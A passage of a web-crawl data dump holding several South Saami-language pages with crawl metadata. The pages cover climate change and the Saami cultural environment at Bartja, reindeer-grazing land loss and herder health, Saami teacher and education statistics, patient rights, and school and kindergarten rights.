tjuara muvhtide sijjide laehpedh jïh dejtie bigkemidie mah desnie gååvnesieh.\nDaejstie raedtijste saemieh tjuerieh daelhkierostemidie jïjtsh tjelmiejgujmie vuartasjidh, namhtah systeemi öörnegh jïh sjematiske toelhkestimmieh. Jarkerostemh mah jillieveartenen laedtiej raedteste aajhtoe saemieh maehtieh toelhkestidh goh iemie jarkerostemh mïsse tjuerieh mådtoestidh. Dannasinie vaahran- jïh hiejjiesvoeten joekehtehtemh tjuara jeatjhlaakan gïetedidh jïh toelhkestidh.\nHiejjiesvoeten digkiedimmie\nBartja kultuvrebyjresinie sån båata hiejjesne årrodh gosse daelhkie jarkerostoe, dellie dajven dah iemie vierhtieh, dah aerpievuekien bigkemh jïh dajven dah sjædtoeh geerelgieh.\nGejhkie gaaltijh\nJis akte orresje edtja tjåadtjoehtidh tjaetsine daerpies. Bartjan dajvesne dovne jeanoeh, johkh jïh tjonnh men dej gaskem guhkie. Dannasinie gaaltijes laante lij dellie aaj dïsse orrijin. Dejstie tjaetsiem åådtje gåejstedh, beapmoeh jurjiehtidh, vaarjoeh bïssedh jnv. Kultuvrebyjresinie daah gaaltijh Bartjese daerpies.\nDaelhkiejarkerostemh maehtieh orre tsiehkie vedtedh vg. bïjvelåbpoe sjædta jallh jeatjhlaaketje måekieh. Dellie eatneme maahta gejhkedh jïh gaaltijenåerine ij vielie tjaetsie galka. Jis gaaltijh gejhkie dellie aaj orresjen jieleme såana jïh bigkemh jïh jeatjah byjrese aajhtasåvva.\nBigkemh slaamelgieh\nDaelhkiejarkerostemh nåake dejtie aerpievuekien hiejjies bigkemidie, gosse værtoe jallh bïjvelåbpoe jïh låpsoe. Bigkemi hiejjiesvoete aaj kaanne dorje eah dejtie gåetide vielie nuhtjh jallh gorredh jïh minngemes slaemieh. Gosse daelhkie jarkerostoe aaj bovtsen voete maahta jarkerostedh, guktie dåemede jïh baalkerde. Jis gåatome traagkadalla jallh ij vielie lopmijs dajvh gååvnesieh, gusnie giesege svaaloe jïh bovtse orre dajvide dabpene aaj båatsoesaemiej jieleme jeatjahtahta. Dellie akte orresje goh Bartja jïh dan aerpievuekien bigkemh ij vielie seammalaakan nuhtjesuvvieh. Gosse ij vielie gåetide nuhtjieh ij vielie dålle gåetine jnv. dah bigkemh mah moereste sih låpsoste guehpieh.\nSjædtoeh jeananieh\nGosse bïjvelåbpoe sjædta jïh daelhkie jarkerostoe dellie aaj Bartjesne orrelaakan sjædta. Dajve lea orreme, lea jïh sån båata sagke jeenebem sjædtojste åadtjodh, dovne orre sjædtojste jïh moerijste, men aaj jeananieh. Dellie dah biologiske kultuvre-aerpieh vaahresne. Aerebe giedtaevjieh, boernh jïh måaroevåarhkoeh (jårtesie) jnv. maehtieh suvvedh, gosse sïjten dah almetjh eah vielie mubpie boelvide dej bïjre soptsesth jïh guktie dajve nuhtjesovveme. Daesnie sïjte tjuara ahkedh barkedh dajvem geehtedh jïh röönjedh jïh orresjem nuhtjedh.\nMij dïhte maam edtja soptsestidh\nSaemiedigkie kultuvre-aerpiem buerkeste goh holistiske; \"Kultuvre-aerpie dovletje aejkiem vuesehte seamman aejkien gosse daajroes aaj daan biejjien jielije saemien kultuvre lea\". Daestie guarka dïhte fysiske kultuvre-aerpie vyörtegs jïh vyörtegåbpoe sjædta dehtie filosofijeste, maahtojste jïh soptsesistie mejtie guadta jïh aktelen jåhta.\nDan åvteste tjuara saemien kultuvre-aarpan vijriegåbpoe ussjedidh jïh mennie vaahresne jis gaarvene. Gosse dah fysiske kultuvre-aerpieh suvvieh dellie aaj soptsesh dej bïjre åajaldehtieh jïh ij vielie soptsesuvvieh. Dellie maahtoe eatnemen bïjre, maahtoe almetji bïjre jïh maahtoe heannadimmiej bïjre maahta åajaldehtedh. Dellie aaj dah saemien lïhkesdajven vuekieh sih gaarvanieh. Maahtoe mij boelveste boelvide soptsesovveme, mij minngemes tïjjen daarpoejoekehtimmine jiehtieh vihkeles, tjuara krööhkestidh jïh digkiedidh guktie kultuvrebyjresh geerelgieh gosse daelhkie jarkerostoe.\nRåajvarimmiesoejkesje jïh vierhtiedaarpoeh\nGosse saemien kultuvrebyjresh gorredibie maehtebe aaj mijjen kultuvren maadtoem jïh vuekide vaarjelidh. Gosse vööjnimh guktie orresje Bartja joekehtehti eelkimh digkiedidh mij daerpies soejkesjidh jis dejtie kultuvre-aerpide desnie vaarjelidh.\nMaterijelle jïh biologiske kultuvre-aerpieh – nuhtjedh, gorredidh, davvoehtidh\nDaehtie barkoste nænnoestimh dah materijelle jïh biologiske kultuvre-aerpieh goh derhviegåetieh jïh jeatjah byjresh vaahresne slaamedh jïh suvvedh jis eah dejtie nuhtjh. Dan åvteste råajvarimmiesoejkesjen voestes raerie edtji geehtedh guktie dejtie nuhtjieh, guktie okside jïh klaaside rïhpeste jïh dållem gåetide biejieh olles tseagkerh aelkieh goehpedh. Bigkemh jïh byjresh mejtie nuhtjieh aaj soptsesidie, mytide jïh maahtojde guedtieh.\nGosse orresjem nuhtjieh aaj iemie sjædta dan historijen bïjre soptsestidh. Mubpie maam råajvarimmiesoejkesje raeriesti edtji dejtie bigkemidie jïh byjresidie geehtedh. Saemiensïjte aktem veelji gïen lij sïjten dïedte historijasse jïh kultuvrese jïh gie edtji daagkaridie geehtedh. Gåalmede maam edtjin darjodh dellie sïjte edtji soejkesjidh guktie dejtie kultuvre-aerpide davvoehtidh. Daarpoeh sih sjidtieh jis eah tjïrrehth dam maam aalkoste ussjedin jallh jis ij dïhte nuekies.\nDaelhkiejarkerostemh aaj saemiensïjten daarpoem dehtie orresjistie maehtieh sliejhtedh. Evtemes jis bovtse aalka jeatjah dajvine gåatodh jïh gusnie svaaloem gaavna jallh gusnie nuepie åhtojste lïepedh. Gosse dellie orresjen nuhtjeme ij vielie iemie, dellie tjuara soejkesjidh guktie jïh gåessie desnie årrodh jïh orresjem geehtedh. Dellie daate vihth akte vielie barkoe sjædta mïsse vierhtieh krïebpesje, dovne astoe jïh beetnegh. Dellie sån daerpies seabradahkeste vierhtieh åadtjodh.\nImmaterijelle kultuvre-aerpieh\nDejtie immatrielle kultuvre-aerpide vaarjeluvvieh gosse dejtie jeatjah kultuvre-aerpide vaarjeluvvieh. Gosse soejkesje guktie dejtie jeatjah kultuvre-aerpide vaarjelidh aaj vihkeles dejtie immatrijelle kultuvre-aerpide. Gosse orresjem nuhtjieh dellie skreejrehte sijjien, almetji jïh heannadimmiej bïjre soptsestidh. Råajvarimmiesoejkesjisnie dej immatrielle kultuvre-aerpiej bïjre vihth \"nuhtjedh\" byöroe vihkeles baakoe sjïdtedh.\nRåajvarimmiesoejkesje aaj dejtie immatrijelle kultuvre-aerpide byöroe jarngesne utnedh; Vïhtesjidh; jielije kultuvrebyjrese soptsesidie jïh maahtojde guadta. Aaj vihkeles barkojne læssanidh gusnie vïhtesjimmie jarngesne. Dellie soejkesjisnie byöroe stilledh dejtie soptsesidie byjresen, almetji jïh heannadimmiej bïjre tjaalasuvvieh guktie soptsesuvvieh jïh orre boelvide aajmojne. Muvhtem joe tjaalegisnie Bartjan bïjre dorjeme maam dovne Stiftelse Gaaltije jïh saemiensïjte olkese vadteme.\nSaarnodh; Vihkeles geehtedh guktie soptsesh jïh maahtoeh såårnesuvvieh, evtemes saemiensïjten almetjidie men aaj jeatjabidie mah orresjasse jïh aamhtesasse veadtaldihkie. Gosse soptsesidie jïh maahtojde båetije boelvide vaarjele aaj dovne dah immatrijelle jïh materijelle kultuvre-aerpieh vaarjeluvvieh. Noere saemieh jïh saemiensïjten almetjh dellie sih dïedtem orresjasse jïh sæjjan vaeltieh jïh dellie soptsesh jïh maahtoeh båetije beajjan aaj jielieh.\nJaksoemieresne; Råajvarimmiesoejkesjisnie aaj vuesiehtamme guktie dejtie immatrijelle kultuvre-aerpide jaksedh jïh sïejhme darjodh. Dellie sih almetjh jïh organisasjovnh saemiensïjten jïh saemien seabradahken ålkolen daajroem åadtjoeh dej soptsesi jïh maahtoej bïjre mah dellie vaarjeluvvieh. Læjhkan ij gaajhkesh saemien seabradahkesne daase sïemes, jïh ussjedehtieh mejtie soptsesh jïh maahtoeh edtjieh gaajhkesidie luejhtiehtidh.\nGosse dej immatrijelle kultuvre-aerpiejgujmie råajvarimmiesoejkesjen mietie barka jïh guktie dejtie byöroe tjïrrehtidh dellie vierhtieh daerpies. Eah gænnah saemiensïjte jïh saemien seabradahke dejtie vierhtide daan biejjien utnieh. Dah vierhtieh maam Saemiedigkien tjïrrh jïh jeatjah åajvaladtjijste åådtje lea buerie men jeenebh vierhtieh daarpesje.\nMaam maahta darjodh jïh maam byöroe darjodh jeatjah saemien kultuvrebyjresigujmie?\nDam maam daesnie buerkiestamme orresjen Bartjan bïjre sih jeatjah saemide jïh jeatjah saemien kultuvrebyjresidie åehpies guktie daelhkiejarkerostemh byjresidie geerelgamme, raaktan dovne bigkemh jïh byjresh gosse nuhtjemem jeatjahtahteme. Seamma vaahresne aaj dah immatrijelle kultuvre-aerpiejgujmie gusnie soptsesh jïh maahtoeh åajaldehtieh.\nDaehtie åvtelohkemistie jeatjabidie raeriestibie gusnie daagkerh kultuvrebyjresh gååvnesieh, jis ij ennje maam dorjeme, dellie dan varke guktie nuepie tjuara aelkedh goerehtalledh guktie daelhkierostemh desnie geerelgamme jïh råajvarimmiesoejkesjem darjodh guktie dejtie gïetedidh. Jis ij maam daan bïjre daejrieh, dellie vaahresne abpe lïhkesdajven historije gaarvene. Historijen namhtah ij leah man gåvva daaletje- jïh båetije biejjine darjodh jïh orre boelvide eevtjedh.\nMejnie Stiftelse Gaaltije maahta viehkiehtidh?\nAeriebistie Stiftelsen Gaaltijen leah jeenh maahtoeh, saemien kultuvrebyjresh tjaalasovvedh jïh vïhtesjidh. Stiftelse Gaaltije gellie tjaalegh dorjeme, saemiensïjti, kultuvrebyjresi jïh almetji bïjre jïh Saemiedigkien barkosne meatan orreme gosse tjeelin\"program för att bevara, bruka och utveckla det samiska kulturlandskapet 2015-2020\". Prosjeektesne\"Adapt Northern Heritage\" stiftelse Gaaltije måedtine meatan orreme saemien kultuvrebyjresi bïjre jïh gellie seminaarine jïh barkosne maam Bartjesne darjoejin. Stiftelse maahta viehkiehtidh, digkiedimmieh evtiedidh jïh dåeriesmoerh buerkiestidh jïh meatan årrodh gosse råajvarimmiesoejkesjh jïh reektehtassh tjaeledh.\nStaare goeven 2018\nLäs också;\nAerpimaahtoe – Sametingets policydokument för traditionell kunskap\nhttps:\/\/www.sametinget.se\/26119\nJielemen bijre – Sametingets livsmiljöprogram\nhttps:\/\/www.sametinget.se\/eallinbiras\nDet samiska kulturlandskapet\nhttps:\/\/www.sametinget.se\/30605","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.gaaltije.se\/verksamhet\/bartja-saemien-kultuvrebyjrese-jarkerostemen-daelhkesne\/","date":"2021-04-20T01:49:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038921860.72\/warc\/CC-MAIN-20210419235235-20210420025235-00381.warc.gz","language":"sma","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999939203262329}","num_words":2427,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\nSkilkemedahkoeh båatsoedajvine leah tjarke læssanamme dej minngemes luhkiejaepiej. Daate goerehtimmie taalh vadta guktie gåetieh jïh infrastruktuvre båatsoedajvi gåatomem tsevtsieh jïh leah joekedamme jaepieboelhki gåatomelaantide jïh juhtemegeajnojde.\nVuekie sæjhta jiehtedh aktem tsevtsemedajvem gåetiej jïh infrastruktuvren bïjre aerviedidh, dan daajroen mietie man stoerre dajvi bïjre bovtse reava akten fysiske skilkemen bïjre, daate sæjhta jiehtedh bovtse åtnoem dajvijste giehpede. Dotkeme vuesehte dajve gusnie bovtse tsavtseme sjædta maahta joekehts stoeredahkem utnedh dejtie ovmessie såarhts skilkemedahkojde eatnamisnie, goh gåetieh, geajnoeh, høyspentledningh, tjaetsiefaamoevierhkieh, bïegketurbijnh, gruvah jïh vielie. Maahta aerviedimmide toelhkestidh goh dïhte ållesth illedahke (kumulatijve effekte) gaajhke såarhts fysiske tsevtsiemijstie. Tsevtseme turismeste ij leah meatan daatavåaroemisnie daan goerehtæmman.\nIlledahkh vuesiehtieh man stoerre prosentelåhkoe gåatoemistie mij lea tsavtseme gaajhkesåarhts skilkemedahkojste, jïh aerviedimmie lea tjïrrehtamme joekehts gåhkaldahkigujmie skilkemedahkose, ryöknedamme elmien tjïrrh. Akten 5 kilomeeterh guhkies dajven sisnjelen gåetijste jïh infrastruktuvreste, guktie lea daesnie gaertjiedamme, medtie 89 prosenth abpe jaepieboelhkegåatoemistie jïh juhtemegeajnojste leah tsavtseme skilkemedahkojste. Jalhts aerviedimmieh sån maehtieh vuesiehtidh gåatomedajvh, joekoen gïjregåatome, tsavtseme sjædta dan gåhkese goh 5 kilomeeterh skilkemedahkoste, ij badth sïjhth jiehtedh dajve lea beajsteme goh gåatome jïh maahta åtnose vaeltedh jeatjah åssjelidie.\nGoerehtimmie tsevtsiemistie jaepieboelhkegåatoemistie lea aktanamme daatajgujmie Byjresedirektoraateste jarkelimmien bïjre skilkemefrijje eatnemedajvine (INON) jaepien 1988 raejeste 2013 raajan. Daan boelhken låhkoe skilkemefrijje jaepieboelhkegåatoemistie geahpani medtie bielie – bieliemubpie prosentepoengine.\nVuekie juktie tsevtsemem jaepieboelhkegåatoemistie aerviedidh maahta nuhteligs årrodh areaalesoejkesjimmesne jïh konsekvensesalkehtimmine (KS) dennie soejkesjamme\nbigkemisnie båatsoedajvine. KS:n bïhkedæjja båatsose tjïerteste daerpies aktine ellies vuarjasjimmine båatsoen aerpievuekien dajveåtnoste man bïjre lea, aaj båatsoen laejhtehks faktovrh jïh ektiedimmie dej gaskem, jïh KS edtja dejtie tjåenghkies effektide skilkemedahkojste tjïelkestidh (kumulatijve effekte).\nTaalh areaaletsevtiemasse, båatsoen aerpievuekien daajrojne ektine gåatomedajvi bïjre, byöroe åtnasovvedh goh bielie daajroevåaroemistie juktie båatsoen areaalh gorredidh, akte vihkeles krïevenasse juktie båatsoem tjåadtjoehtidh jïh Nöörjen nasjonaale jïh gaskenasjonaale åeliedimmieh bæjjese fulkedh juktie saemien kultuvren materijelle våaromem gorredidh.\nJis edtja hijven almetjehealsoem gorredidh dellie eevre daerpies daajroem utnedh dej materijelle, praktihkeles jïh sosijaale mieriekrïevenassi bïjre mah healsoem tsevtsieh. Mobijle pastoralisth leah akte dåehkie mej åvteste dovne åejvieladtjh jïh dotkijh abpe veartenisnie vaenie tsåatskelesvoetem vuesiehtamme gosse lea healsoetsiehkiej bïjre. Jïh naemhtie aaj daajrojne jielede- jïh barkoetsiehkiej bïjre båatsoealmetji luvnie. Daate tjaalege healsoeektiedamme jielede- jïh barkoetsiehkieh buerkeste saemien båatsoeårroejidie åarjelsaemien dajvesne, akte årrojedåehkie mij daamtaj ov-våajnoes dorjesåvva sov stoeredahken gaavhtan, jïh gusnie doh historihkeles-polithkeles, barkoeektiedamme jïh sosijaale jieledekrïevenassh eah vuajnalgamme sjïdth. Taalematerijaale lea veedtjeme aktede nasjonaale goerehtimmeste jielede- jïh barkoetsiehkijste mah leah vihkeles dan psykiske healsoen jïh jieledekvaliteeten gaavhtan saemien båatsoeårroji luvnie (Båatsoen aarkebiejjie). 151 båatsoealmetjh åarjelsaemien dajveste lin meatan goerehtimmesne.Illedahkh vuesiehtieh båatsoen barkoen gaavhtan akte joekoen stoere låhkoe båatsoealmetjijstie åarjeldajvesne kråahpeles maajsoeh åådtje goh gijjie, ïbje\/gaasse, tjåetskeme, fysiske stradtjoe jïh ovlæhkoeh\/haevieh, viertiestamme jeatjah barkoedåehkiejgujmie Nöörjesne mah plearoeh barkoem utnieh. Jeenjesh eah nuepiem utnieh eejehtalledh jallh gåetesne årrodh barkoste gosse skïemtjine\/haeviem åådtjeme. Akte jååhkesjamme vuajnoe båatsoealmetji luvnie åarjeldajvesne lea åejvieladtjh daajroem båatsoen bïjre fååtesieh, båatsoem nåakelaakan gïetedieh jïh krïevenassh jïh stillemh vedtieh mah eah leah sjïehtedamme dan båatsoefaageles barkose. Doh jeanatjommesh lissiebarkoem jïh raessiem åadtjoeh akten ahkedh stuerebe låhkoen gaavhtan darjoemijstie eatnamisnie mah gåatomelaantem giehpiedieh, juhtemegeajnoeh steegkieh jïh stoerre teehpemh krïevveste vedtieh. Mahte gaajhkesh dovnesh dååjrehtimmiem nåake vuajnoejgujmie reektieh almetjijstie båatsoen ålkolen jïh meedijeste. Akte håvhtadihks stoerre låhkoe reektie dah sïerredimmiem jïh1 Gæjhtoe Per Martin Lindstrøm Westerfjell, Voengel-Njaarken sïjte, viehkien åvteste tjaalegasse.miedteles dahkoeh dååjroeh sijjen båatsoealmetjen ektiedimmien gaavhtan. Seamma tïjjen båatsoealmetjh soptsestieh dah joekoen hijvenlaakan barkosne tråjjadieh, jïh barkoe lea akte lïeremesijjie gusnie sijjie gååvnese jïjtje nænnoestidh. Illedahkh vuesiehtieh giehpiedamme jieledekvaliteete jïh geahpanamme psykiske healsoe leah sïejhmebe dej luvnie mah jeenjemes dååjrehtimmieh utnieh sïerredimmine jïh nåake vuajnoejgujmie byögkeles åejvieladtjijste. Daate vuesehte sosijaale jïh siebriedahkeektiedamme ålkoestimmie lea dïhte mij uvtemes lea vaahrine dan psykiske healsose saemien båatsoealmetjidie åarjelsaemien dajvesne.\nScenetjeahpoe lea akte dejstie maadthgierkijste nasjovne- jïh identiteetebigkemisnie gaajhki veartenen åålmegi jïh nasjovni luvnie. Daesnie leam vuesiehtimmieh jïh viertiestimmieh vaalteme nöörjen nasjovne- jïh identiteetebigkemistie akten nöörjen postkolonialisteles tïjjen, viertiestamme dejnie saemien tsiehkine 1970-låhkoen raejeste Saepmien nöörjen bielesne. Daesnie ajve doh saemien teatereinstitusjovnh mah leah ihkuve saemiedigkien budsjedtesne mah leah meatan. Dej tsiehkie, ekonomije, jaksoemierie jïh våarome leah digkiedamme statistihken tjïrrh teaterijstie jïh Saemiedigkien dåarjoej tjïrrh. Minngemosth såemies raeriestimmieh båetieh vuajnojde jïh dahkojde saemien scenetjeahpoen båetijen aejkien bïjre, mejtie leam tjuvtjiedamme nasjonaalestaatese Nöörje jïh Saemiedægkan Nöörjesne.\nVaenie kvantitatijve daajroe saemien lohkehtæjjaveahkan bïjre gååvnesamme Nöörjesne. Gellede lehkeste lea jeahtasovveme gellie saemien lohkehtæjjah fååtesieh, jïh mubpieh leah jeahteme saemienlohkehtæjjah eah iktesth dam byjjes ööhpehtimmiemaahtoem utnieh. Tjaalegisnie goerehtalla låhkoem saemienlohkehtæjjijste Nöörjesne gaajhkine gïeline mejnie ööhpehtimmie vadtasåvva, dovne maadthskuvlesne jïh jåarhkeskuvlesne.\nTjaalege aaj formalmaahtoem gaajhkide saemienlohkehtæjjide vïhtesjadteme, dovne dej pedagogeles maahtoe jïh formalmaahtoe saemien gïelesne. Goerehtimmie vuesehte jienebh dejstie saemienlohkehtæjjijste pedagogeles maahtoem fååtesieh viertiestamme mubpiej lohkehtæjjaj gaskemedtine Nöörjesne. Seamma tïjjen vuejnebe formalmaahtoe saemien gïelesne lea joekoen jolle.\nJïjnjh learohkh fïerhten julevsaemien lohkehtæjjese, learohkeveahka daesnie lea seamma goh jeatjah lehkesne Nordlaantese jïh raaktan jollebe goh learohkeveahka Bådåddjosne. Daate vuesehte joekoen jïjnjh lohkehtæjjah julevsaemien gïelemaahtojne fååtesieh.\nNoerhtesaemien jïh åarjelsaemien gïelese learohkeveahka lea sagke vueliehkåbpoe, guktie lohkehtæjjavaanoe ij leah seamma nåake daesnie dan lïhke båetijen aejkien. Men læjhkan aalteren gaskemedtie vuesehte jïjnjh saemienlohkehtæjjah sijhtieh barkosne orrijidh dej minngebi luhkie jaepiej, jïh joekoen vaenie ohtsijh orreme saemien lohkehtæjjaööhpehtæmman. Dan åvteste libie vaahresne sagke vaenebh saemienlohkehtæjjah utnedh luhkie jïh göökteluhkie jaepiej minngelen goh daan biejjien, jis dåårrehtimmie saemien lohkehtæjjaööhpehtimmide ij tjarke læssenh.\nMænngan goh ööhpehtimmielaakem Nöörjesne sjïehtesji, gaajhkh saemien learohkh aktem jïjtse reaktam utnieh saemien lïerehtimmiem skuvlesne åadtjodh. Jïjnjh saemienlearohkh leah dajvine årroeminie gusnie stïeres saemienlohkehtæjjah eah gååvnesh. Daagkeri veajkoej skuvleaajhtere tjuara jeatjah lïerehtimmiehammoeh saemiengïelesne faalehtidh. Dïhte mij jeenjemes åtnasåvva lea maajhööhpehtimmie. Gærja \"Samiske tall forteller\" lea aarebi vihtiestamme ahkedh jienebh saemieh Nöörjesne staaride juhtieh. Dan åvteste dle saemien maajhööhpehtimmie sæjhta daerpiesåbpoe sjïdtedh jaepiej åvtese.\nDaate kapihtele saemien maajhööhpehtimmiem gïehtjede aktene histovreles perspektijvesne, jïh evtiedimmiem learohkelåhkoste vuartesje dej minngemes luhkie jaepiej, dovne åarjel-, julev- jïh noerhtesaemien gïelesne. Juktie maajhööhpehtimmien låhkoem dehtie ållesth learohkelåhkoste saemien gïelesne daejriehtidh, dle taalide aaj dejnie ållesth saemien learohkelåhkojne vierteste.\nMuvhtine faagebyjresinie maajhööhpehtimmiem utnieh goh akte nåakebe lïerehtimmievuekie. Jïh daesnie fåantoe lea jienebh mytah goh faaktah. Maajhööhpehtimmie maahta eevre seamma hijven (jallh ij dan hijven) goh jeatjah lïerehtimmie. Learohkh mah sijjen saemienlïerehtimmiem åadtjoeh maajhööhpehtimmien tjïrrh, edtjieh aaj dejtie seamma maahtoeulmide haalvedh learoesoejkesjisnie goh jeatjah saemienlearohkh, jïh seammalaakan vuarjasjamme sjïdtedh. Dan åvteste vihkeles saemien maajhööhpehtimmie lea seammavyörtegs jeatjah saemienlïerehtimmine, jïh dan gaavhtan aaj goh gaajhke jeatjah gïelelïerehtimmie.\nMaajhööhpehtimmie lea jeenjemasth akte råajvarimmie aalkoealmetjijstie orreme, gosse juhteme staaride lea innovatijve lïerehtimmiehammoeh krïeveme. Kanada lea dej voestes gaskem orreme mij daejnie lïerehtimmievuekine eelki dejtie First Nations-almetjidie mah staarine jïh stuerebe sijjine årroejin, jïh idtjin stïeres lohkehtæjjam indianeregïelesne utnieh. Nöörjesne åajvahkommes saemieh mah lïerehtimmiem maajhööhpehtimmien tjïrrh åadtjoeh, guktie aaj daesnie dle akte tjïelke aalkoealmetjedimensjovne.\nFasseldimmiestatstihke maam registerijstie åtna 4.njealjehtsjaepeste 2012 vuesehte fasseldimmie SDJ-dajvesne joekehtslaakan juakasåvva goh dïhte sïejhme fasseldimmie laantesne. Daesnie libie pryöveme sjïere væhtah SDJ-dajvesne vuesiehtidh viehkine fasseldimmiem joekedidh jielemen, kaarri jïh nyjsenæjjaj, aalteren, ööhpehtimmien jïh jeatjah ovmessie væhtaj mietie. Åejvievæhtah vuesiehtieh fasseldimmieprosente SDJ-dajvesne lea vueliehkåbpoe goh laanten gaskemedtie, men jeerehte. Dïhte lij laanten gaskemedtien bijjelen båarasåbpoe almetjidie SDJ-dajvesne, jïh sagki vueliehkåbpoe dejtie nuerebe årrojedåehkide. Jienebh almetjh SDJ-dajvesne mah aalkoejielieminie barkin, jïh låhkoe jollebe ööhpehtimmine lij vueliehkåbpoe goh laanten gaskemedtie. Låhkoe fasseldamme almetjijstie jollebe ööhpehtimmine, lij medtie guektiengïerth dan stoerre nyjsenæjjaj luvnie goh kaarri luvnie SDJ-dajvesne.\nJoekedamme dejnie ovmessie dajvine Nöörjen sisnjelen Saltfjellet noerhtelen, dellie vuajna stoerre jeeredh lin dejnie ovmessie variabelinie, jïh SDJ-bieliedajvh eah seamma aktelaaketje tendensh vuesehth.\nFaagealmetjh mah maahtoem saemien gïelesne jollebe daltesisnie utnieh, leah daerpies jis edtja gorredidh siebriedahke dam daerpies saemien maahtoem åtna. Akten baelien gosse jollebe saemien maahtoe læsseneminie, dle vihkeles vuartasjidh mejtie studijepoengedorjemasse saemien gïelesne, mij våaromem åtna illesovveme eksamenh saemiengïelesne jollebe ööhpehtimmie- institusjovnine, læsseneminie jallh vaaneneminie.\nStudijeprogrammh saemien gïelesne jollebe daltesisnie sijhtieh meatan årrodh statusem nænnoestehtedh dejtie saemien gïelide, dovne saemien siebrie- dahkesne, men aaj stoerresiebriedahkesne. Tjaalege evtiedimmiem jollebe ööhpehtimmesne saemien gïelesne vuartesje dej minngemes vïjhte jaepiej, dovne åarjelsaemien, julevsaemien jïh noerhtesaemien gïelese. Daan boelhken eksamenh saemien gïelesne leah illesovveme Saemien jolleskuvlesne, Tromsøn universiteetesne, Nordlaanten universiteetesne jïh Noerhte-Trööndelagen jolleskuvlesne.\nOvddiduvvon: Ramsalt","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/samilogutmuitalit.no\/se\/publications?f%5B0%5D=language%3Asma","date":"2021-04-16T20:24:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038089289.45\/warc\/CC-MAIN-20210416191341-20210416221341-00461.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":1273,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skïemtjijereaktah, patienträttigheter\nGoh skïemtjije healsoe- jih skïemtjesåjtosne datne ovmessie reaktah åtnah mah maehtieh hijven arrijh daajhtodh.. Datne reaktah åtnah guerkiehtimmie bïevnesh dov healsoen bïjre åadtjodh jih aaj gïehtjedimmie- jih båehtjierdimmievuekiej bïjre. Datne galkh aaj bïevnesh åadtjodh gusnie datne maahtah laejhtemigujmie jårredh.\nSåjhtoe jih båehtjierdimmie galkijägan dan guhkies guktie gåerede digkiedimmesne skïemtjijinie dorjesovvedh. Såemies aejkien datne aaj reaktah åtnah dov daaffam akten vielie dåakterinie digkiedidh jih akten mubpie tjielkestimmiem åadtjodh ( dagkeres \"second opinion\"). Gosse jienebh båehtjierdimmie veeljemh lea datne dïhte mij galkh veeljedh, jis ih datne veeljeme nännoestimmiem laehpedh, disse mij medisinen dïedtem åtna.\nDatne reaktam åtnah ijje gijhtedh båehtierdämman mij faaleme jih aaj båehtjierdimmiem orrijidh. Ij gie maehtieh datnem skïemtjegåatan tjabrehtidh jih datne maahtah skïemtjegåetiem laehpedh gosse sïjhth.\nIj gie maehtieh datnem tjabrehtidh badtjam vaeltedh. Datne reaktam åtnah skiemtjijejuornalem lohkedh jis datne sïjhth jih sisvegem dutnjien goerkelidh. Journalesne gaajhkide byjjehtimmide tjaelien, dov såjhtoen bïjre datne åadtjoeh.\nSkïemtjijen kanslie\nSkïemtjijemoenehtsen kansliese maahtah datne goh skiemtjije jallh lïhkesadtjem daj mïeligujmie jårredh:\n- healsoe- jih skïemtjesåjhtoem mij laantedigkeste darjoen\n- healsoe- jih skïemtjesåjhtoem mah leenen gaajhkide tjïeltide darjoen\n- healsoe – jih såjhtoem private såjhtoevedtiji luvnie mah såjhtoelatjkoem\nlaantedigkine utnieh.\n- Baeniesåjhtoem misse Jïemhten leenen laantedigkiem dïedtijem åtna\nUppdaterad:","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/hokseviehkiejihsajhtoeomsorghjalpochvard\/skiemtjijereaktahpatientrattigheter.4.2a948e2414c4aa4dd9a2079d.html","date":"2021-04-12T01:03:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038065903.7\/warc\/CC-MAIN-20210411233715-20210412023715-00573.warc.gz","language":"sma","language_score":0.9999786615,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999786615371704}","num_words":191,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"• Tjiïelti lea dïedte sijjiem maanagïertesne faalehtidh maanese aarhskuvleaalterisnie, jis maana tjïeltesne orre. Maana maahta sijjiem åadtjodh aktene tjïelten jallh ij-tjïelten maanagïertesne.\n• Maanah jïh noerh dïedtem jïh reaktam utnieh aktem luhkienjaepien maadtskuvle-lïerehtimmiem åadtjodh dehtie raejeste dah govhte jaepieh illieh, jïh reaktam utnieh daam lïerehtimmiem namhtah åadtjodh byögkelesvoeteste. Tjïelth dïedtem maadthskuvlelïerehtimmien åvteste utnieh.\n• Noerh gaskem 16 jïh 19 jaepieh reaktam utnieh byögkeles maakseme jåarhkeööhpehtimmiem åadtjodh. Fylhkentjïelth dïedtem utnieh lïerehtimmien åvteste jåarhkeskuvlesne.\nFylhkenålma vååksje jïh klååkoeh gïetede\nFylhkenålma edtja bievnedh jïh bïhkedidh gaajhkide almetjidie, jïh maanagïerti jïh skuvli aajhteridie ööhpehtimmielaaken, privaateskuvlelaaken jïh maangïertelaaken mietie, baalte mieriedimmiegujmie. Fylhkenålma aaj klååkemesuerkie aktegsnænnoestimmide daejnie suerkine, jïh vååksje ööhpehtimmielaaken jïh maanagïertelaaken mietie.\nDåarjoe skuvlide jïh 